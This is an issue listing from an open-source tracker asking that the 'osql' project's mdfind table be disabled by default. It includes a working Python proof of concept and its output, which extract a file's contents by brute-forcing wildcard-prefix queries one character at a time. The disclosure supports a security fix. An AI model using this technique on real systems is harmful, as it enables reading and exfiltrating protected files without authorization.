Disable the mdfind table by default
Nobody has claimed this yet.
- Dominant language
- C++
- Stars
- 23.6k
- Forks
- 2.6k
- Avg merge
- 6d 7h
- Merged PRs (30d)
- 14
Description
Feature request
Originally reported by @ostrowr on the osql project.
What new feature do you want?
The mdfind table can be used to read arbitrary files, so it's worth considering disabling the table by default.
How is this new feature useful?
Maintain the osql philosophy that it can't be used to read arbitrary files by default.
How can this be implemented?
Treat the mdfind table like the file carving tables; only activate it with a specific flag.
Details
Wildcards are legal in mdfind, so if I have a target file "secret.txt" I can check if some word in secret.txt started with "A" by checking for "A*" (executing the query below)
select * from mdfind where query = "kMDItemTextContent == 'A*' && kMDItemFSName == 'secret.txt'";
From there, we can derive a list of prefixes and search for AA*, AB*, etc. and repeat until we've derived the whole string.
The Python code below assumes that there's exactly one word indexed by mdfind in some file, but any file can be read using a similar technique. Several queries can be run at once to improve speed, such that sensitive data can be exfiltrated from a computer allowing /distributed/read in just a couple of minutes.
import osquery
import string
printable = string.printable[:string.printable.find('"')]
class FileReader:
def __init__(self):
self.instance = osquery.SpawnInstance()
self.instance.open()
def read(self, path):
prefix = ''
while True:
print("Prefix so far: {}".format(prefix))
for c in printable:
query = r"""select * from mdfind where query = "kMDItemTextContent == '{}*' && kMDItemFSName == '{}'";""".format(prefix + c, path)
query_result = self.instance.client.query(query)
if len(query_result.response):
prefix += c
break
else:
break
print("Final string found: {}".format(prefix))
if __name__ == "__main__":
f = FileReader()
f.read("secret.txt")
$ cat secret.txt
1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk50
$ time python read-file-with-osquery.py
Prefix so far:
Prefix so far: 1
Prefix so far: 1d
Prefix so far: 1d0
Prefix so far: 1d0p
Prefix so far: 1d0pu
Prefix so far: 1d0puz
Prefix so far: 1d0puzt
Prefix so far: 1d0puzt9
Prefix so far: 1d0puzt98
Prefix so far: 1d0puzt988
Prefix so far: 1d0puzt9880
Prefix so far: 1d0puzt9880y
Prefix so far: 1d0puzt9880y2
Prefix so far: 1d0puzt9880y25
Prefix so far: 1d0puzt9880y25q
Prefix so far: 1d0puzt9880y25qq
Prefix so far: 1d0puzt9880y25qqu
Prefix so far: 1d0puzt9880y25qquw
Prefix so far: 1d0puzt9880y25qquwa
Prefix so far: 1d0puzt9880y25qquwam
Prefix so far: 1d0puzt9880y25qquwamc
Prefix so far: 1d0puzt9880y25qquwamcb
Prefix so far: 1d0puzt9880y25qquwamcbz
Prefix so far: 1d0puzt9880y25qquwamcbzn
Prefix so far: 1d0puzt9880y25qquwamcbzng
Prefix so far: 1d0puzt9880y25qquwamcbzng6
Prefix so far: 1d0puzt9880y25qquwamcbzng6j
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2g
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2gu
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6n
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6nd
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndb
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbj
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjp
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa4
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41w
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wt
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtq
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtqu
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk5
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk50
Final string found: 1d0puzt9880y25qquwamcbzng6jn5x2d2guq6ndbjpa41wtquk50
python read-file-with-osquery.py 4.31s user 1.18s system 96% cpu 5.687 total
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by locating the mdfind table implementation and the file carving tables it should match, then trace how their flags are registered and applied. Done means mdfind is unavailable by default, becomes available through a specific flag, and the existing mdfind behavior remains intact when enabled.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- cpp, macos, sql
- Domain
- databases, security
- Issue type
- Feature
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 35/100